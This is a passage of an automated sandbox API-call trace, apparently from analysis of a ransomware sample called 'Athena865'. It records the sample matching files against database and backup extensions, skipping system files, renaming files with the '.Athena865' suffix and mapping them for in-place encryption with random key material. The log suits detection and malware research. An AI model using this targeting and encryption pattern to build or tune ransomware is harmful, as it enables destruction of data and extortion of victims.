(lpString1="DLL", lpString2="sql") returned -1 [0115.722] lstrlenW (lpString="sqlite") returned 6 [0115.722] lstrcmpiW (lpString1="ID.DLL", lpString2="sqlite") returned -1 [0115.722] lstrlenW (lpString="sqlite3") returned 7 [0115.722] lstrcmpiW (lpString1="LID.DLL", lpString2="sqlite3") returned -1 [0115.723] lstrlenW (lpString="sqlitedb") returned 8 [0115.723] lstrcmpiW (lpString1="SLID.DLL", lpString2="sqlitedb") returned -1 [0115.723] lstrlenW (lpString="xml") returned 3 [0115.723] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.725] lstrlenW (lpString="$er") returned 3 [0115.725] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.725] lstrlenW (lpString="4dd") returned 3 [0115.725] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.725] lstrlenW (lpString="4dl") returned 3 [0115.725] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.726] lstrlenW (lpString="^^^") returned 3 [0115.726] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.726] lstrlenW (lpString="abs") returned 3 [0115.726] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.726] lstrlenW (lpString="abx") returned 3 [0115.726] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.726] lstrlenW (lpString="accdb") returned 5 [0115.726] lstrcmpiW (lpString1="D.DLL", lpString2="accdb") returned 1 [0115.726] lstrlenW (lpString="accdc") returned 5 [0115.726] lstrcmpiW (lpString1="D.DLL", lpString2="accdc") returned 1 [0115.726] lstrlenW (lpString="accde") returned 5 [0115.726] lstrcmpiW (lpString1="D.DLL", lpString2="accde") returned 1 [0115.726] lstrlenW (lpString="accdr") returned 5 [0115.726] lstrcmpiW (lpString1="D.DLL", lpString2="accdr") returned 1 [0115.726] lstrlenW (lpString="accdt") returned 5 [0115.726] lstrcmpiW (lpString1="D.DLL", lpString2="accdt") returned 1 [0115.726] lstrlenW (lpString="accdw") returned 5 [0115.726] lstrcmpiW (lpString1="D.DLL", lpString2="accdw") returned 1 [0115.726] lstrlenW (lpString="accft") returned 5 [0115.726] lstrcmpiW (lpString1="D.DLL", lpString2="accft") returned 1 [0115.726] lstrlenW (lpString="adb") returned 3 [0115.726] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.726] lstrlenW (lpString="adb") returned 3 [0115.726] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.726] lstrlenW (lpString="ade") returned 3 [0115.726] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.726] lstrlenW (lpString="adf") returned 3 [0115.726] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.726] lstrlenW (lpString="adn") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.727] lstrlenW (lpString="adp") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.727] lstrlenW (lpString="alf") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.727] lstrlenW (lpString="ask") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.727] lstrlenW (lpString="btr") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.727] lstrlenW (lpString="cat") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.727] lstrlenW (lpString="cdb") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.727] lstrlenW (lpString="ckp") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.727] lstrlenW (lpString="cma") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.727] lstrlenW (lpString="cpd") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.727] lstrlenW (lpString="dacpac") returned 6 [0115.727] lstrcmpiW (lpString1="ID.DLL", lpString2="dacpac") returned 1 [0115.727] lstrlenW (lpString="dad") returned 3 [0115.727] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.727] lstrlenW (lpString="dadiagrams") returned 10 [0115.727] lstrlenW (lpString="daschema") returned 8 [0115.727] lstrcmpiW (lpString1="SLID.DLL", lpString2="daschema") returned 1 [0115.727] lstrlenW (lpString="db-journal") returned 10 [0115.727] lstrlenW (lpString="db-shm") returned 6 [0115.727] lstrcmpiW (lpString1="ID.DLL", lpString2="db-shm") returned 1 [0115.727] lstrlenW (lpString="db-wal") returned 6 [0115.727] lstrcmpiW (lpString1="ID.DLL", lpString2="db-wal") returned 1 [0115.727] lstrlenW (lpString="dbc") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.728] lstrlenW (lpString="dbs") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.728] lstrlenW (lpString="dbt") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.728] lstrlenW (lpString="dbv") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.728] lstrlenW (lpString="dbx") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.728] lstrlenW (lpString="dcb") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.728] lstrlenW (lpString="dct") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0115.728] lstrlenW (lpString="dcx") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0115.728] lstrlenW (lpString="ddl") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0115.728] lstrlenW (lpString="dlis") returned 4 [0115.728] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0115.728] lstrlenW (lpString="dp1") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0115.728] lstrlenW (lpString="dqy") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0115.728] lstrlenW (lpString="dsk") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0115.728] lstrlenW (lpString="dsn") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0115.728] lstrlenW (lpString="dtsx") returned 4 [0115.728] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0115.728] lstrlenW (lpString="dxl") returned 3 [0115.728] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0115.728] lstrlenW (lpString="eco") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0115.729] lstrlenW (lpString="ecx") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0115.729] lstrlenW (lpString="edb") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0115.729] lstrlenW (lpString="epim") returned 4 [0115.729] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0115.729] lstrlenW (lpString="fcd") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0115.729] lstrlenW (lpString="fdb") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0115.729] lstrlenW (lpString="fic") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0115.729] lstrlenW (lpString="flexolibrary") returned 12 [0115.729] lstrlenW (lpString="fm5") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0115.729] lstrlenW (lpString="fmp") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0115.729] lstrlenW (lpString="fmp12") returned 5 [0115.729] lstrcmpiW (lpString1="D.DLL", lpString2="fmp12") returned -1 [0115.729] lstrlenW (lpString="fmpsl") returned 5 [0115.729] lstrcmpiW (lpString1="D.DLL", lpString2="fmpsl") returned -1 [0115.729] lstrlenW (lpString="fol") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0115.729] lstrlenW (lpString="fp3") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0115.729] lstrlenW (lpString="fp4") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0115.729] lstrlenW (lpString="fp5") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0115.729] lstrlenW (lpString="fp7") returned 3 [0115.729] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0115.730] lstrlenW (lpString="fpt") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0115.730] lstrlenW (lpString="frm") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0115.730] lstrlenW (lpString="gdb") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.730] lstrlenW (lpString="gdb") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.730] lstrlenW (lpString="grdb") returned 4 [0115.730] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0115.730] lstrlenW (lpString="gwi") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0115.730] lstrlenW (lpString="hdb") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0115.730] lstrlenW (lpString="his") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0115.730] lstrlenW (lpString="ib") returned 2 [0115.730] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0115.730] lstrlenW (lpString="idb") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0115.730] lstrlenW (lpString="ihx") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0115.730] lstrlenW (lpString="itdb") returned 4 [0115.730] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0115.730] lstrlenW (lpString="itw") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0115.730] lstrlenW (lpString="jet") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0115.730] lstrlenW (lpString="jtx") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0115.730] lstrlenW (lpString="kdb") returned 3 [0115.730] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0115.731] lstrlenW (lpString="kexi") returned 4 [0115.731] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0115.731] lstrlenW (lpString="kexic") returned 5 [0115.731] lstrcmpiW (lpString1="D.DLL", lpString2="kexic") returned -1 [0115.731] lstrlenW (lpString="kexis") returned 5 [0115.731] lstrcmpiW (lpString1="D.DLL", lpString2="kexis") returned -1 [0115.731] lstrlenW (lpString="lgc") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0115.731] lstrlenW (lpString="lwx") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0115.731] lstrlenW (lpString="maf") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0115.731] lstrlenW (lpString="maq") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0115.731] lstrlenW (lpString="mar") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0115.731] lstrlenW (lpString="marshal") returned 7 [0115.731] lstrcmpiW (lpString1="LID.DLL", lpString2="marshal") returned -1 [0115.731] lstrlenW (lpString="mas") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0115.731] lstrlenW (lpString="mav") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0115.731] lstrlenW (lpString="maw") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0115.731] lstrlenW (lpString="mdbhtml") returned 7 [0115.731] lstrcmpiW (lpString1="LID.DLL", lpString2="mdbhtml") returned -1 [0115.731] lstrlenW (lpString="mdn") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0115.731] lstrlenW (lpString="mdt") returned 3 [0115.731] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0115.731] lstrlenW (lpString="mfd") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0115.732] lstrlenW (lpString="mpd") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0115.732] lstrlenW (lpString="mrg") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0115.732] lstrlenW (lpString="mud") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0115.732] lstrlenW (lpString="mwb") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0115.732] lstrlenW (lpString="myd") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0115.732] lstrlenW (lpString="ndf") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0115.732] lstrlenW (lpString="nnt") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0115.732] lstrlenW (lpString="nrmlib") returned 6 [0115.732] lstrcmpiW (lpString1="ID.DLL", lpString2="nrmlib") returned -1 [0115.732] lstrlenW (lpString="ns2") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0115.732] lstrlenW (lpString="ns3") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0115.732] lstrlenW (lpString="ns4") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0115.732] lstrlenW (lpString="nsf") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0115.732] lstrlenW (lpString="nv") returned 2 [0115.732] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0115.732] lstrlenW (lpString="nv2") returned 3 [0115.732] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0115.732] lstrlenW (lpString="nwdb") returned 4 [0115.732] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0115.732] lstrlenW (lpString="nyf") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0115.733] lstrlenW (lpString="odb") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.733] lstrlenW (lpString="odb") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.733] lstrlenW (lpString="oqy") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0115.733] lstrlenW (lpString="ora") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0115.733] lstrlenW (lpString="orx") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0115.733] lstrlenW (lpString="owc") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0115.733] lstrlenW (lpString="p96") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0115.733] lstrlenW (lpString="p97") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0115.733] lstrlenW (lpString="pan") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0115.733] lstrlenW (lpString="pdb") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0115.733] lstrlenW (lpString="pdm") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0115.733] lstrlenW (lpString="pnz") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0115.733] lstrlenW (lpString="qry") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0115.733] lstrlenW (lpString="qvd") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0115.733] lstrlenW (lpString="rbf") returned 3 [0115.733] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0115.733] lstrlenW (lpString="rctd") returned 4 [0115.734] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0115.734] lstrlenW (lpString="rod") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0115.734] lstrlenW (lpString="rodx") returned 4 [0115.734] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0115.734] lstrlenW (lpString="rpd") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0115.734] lstrlenW (lpString="rsd") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0115.734] lstrlenW (lpString="sas7bdat") returned 8 [0115.734] lstrcmpiW (lpString1="SLID.DLL", lpString2="sas7bdat") returned 1 [0115.734] lstrlenW (lpString="sbf") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0115.734] lstrlenW (lpString="scx") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0115.734] lstrlenW (lpString="sdb") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0115.734] lstrlenW (lpString="sdc") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0115.734] lstrlenW (lpString="sdf") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0115.734] lstrlenW (lpString="sis") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0115.734] lstrlenW (lpString="spq") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0115.734] lstrlenW (lpString="te") returned 2 [0115.734] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0115.734] lstrlenW (lpString="teacher") returned 7 [0115.734] lstrcmpiW (lpString1="LID.DLL", lpString2="teacher") returned -1 [0115.734] lstrlenW (lpString="tmd") returned 3 [0115.734] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0115.734] lstrlenW (lpString="tps") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0115.735] lstrlenW (lpString="trc") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.735] lstrlenW (lpString="trc") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.735] lstrlenW (lpString="trm") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0115.735] lstrlenW (lpString="udb") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0115.735] lstrlenW (lpString="udl") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0115.735] lstrlenW (lpString="usr") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0115.735] lstrlenW (lpString="v12") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0115.735] lstrlenW (lpString="vis") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0115.735] lstrlenW (lpString="vpd") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0115.735] lstrlenW (lpString="vvv") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0115.735] lstrlenW (lpString="wdb") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0115.735] lstrlenW (lpString="wmdb") returned 4 [0115.735] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0115.735] lstrlenW (lpString="wrk") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0115.735] lstrlenW (lpString="xdb") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0115.735] lstrlenW (lpString="xld") returned 3 [0115.735] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0115.735] lstrlenW (lpString="xmlff") returned 5 [0115.736] lstrcmpiW (lpString1="D.DLL", lpString2="xmlff") returned -1 [0115.736] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.Athena865") returned 72 [0115.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.athena865"), dwFlags=0x1) returned 1 [0115.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.737] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=591168) returned 1 [0115.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0115.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.737] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.738] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.738] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.738] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x90840, lpName=0x0) returned 0x154 [0115.739] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x90840) returned 0x2d50000 [0115.764] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.764] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.764] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.765] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.770] CloseHandle (hObject=0x154) returned 1 [0115.770] CloseHandle (hObject=0x17c) returned 1 [0115.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0115.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.773] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".") returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="..") returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="windows") returned -1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="bootmgr") returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="temp") returned -1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="pagefile.sys") returned -1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="boot") returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="ids.txt") returned 1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="ntuser.dat") returned -1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="perflogs") returned -1 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2="MSBuild") returned 1 [0115.773] lstrlenW (lpString="MSWDS_EN.LEX") returned 12 [0115.773] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MSWDS_EN.LEX" | out: lpString1="MSWDS_EN.LEX") returned="MSWDS_EN.LEX" [0115.773] lstrlenW (lpString="MSWDS_EN.LEX") returned 12 [0115.773] lstrlenW (lpString="Athena865") returned 9 [0115.773] lstrcmpiW (lpString1="DS_EN.LEX", lpString2="Athena865") returned 1 [0115.773] lstrlenW (lpString=".dll") returned 4 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".dll") returned 1 [0115.773] lstrlenW (lpString=".lnk") returned 4 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".lnk") returned 1 [0115.773] lstrlenW (lpString=".ini") returned 4 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".ini") returned 1 [0115.773] lstrlenW (lpString=".sys") returned 4 [0115.773] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".sys") returned 1 [0115.773] lstrlenW (lpString="MSWDS_EN.LEX") returned 12 [0115.773] lstrlenW (lpString="bak") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="bak") returned 1 [0115.774] lstrlenW (lpString="ba_") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="ba_") returned 1 [0115.774] lstrlenW (lpString="dbb") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="dbb") returned 1 [0115.774] lstrlenW (lpString="vmdk") returned 4 [0115.774] lstrcmpiW (lpString1=".LEX", lpString2="vmdk") returned -1 [0115.774] lstrlenW (lpString="rar") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="rar") returned -1 [0115.774] lstrlenW (lpString="zip") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="zip") returned -1 [0115.774] lstrlenW (lpString="tgz") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="tgz") returned -1 [0115.774] lstrlenW (lpString="vbox") returned 4 [0115.774] lstrcmpiW (lpString1=".LEX", lpString2="vbox") returned -1 [0115.774] lstrlenW (lpString="vdi") returned 3 [0115.774] lstrcmpiW (lpString1="LEX", lpString2="vdi") returned -1 [0115.774] lstrlenW (lpString="vhd") returned 3 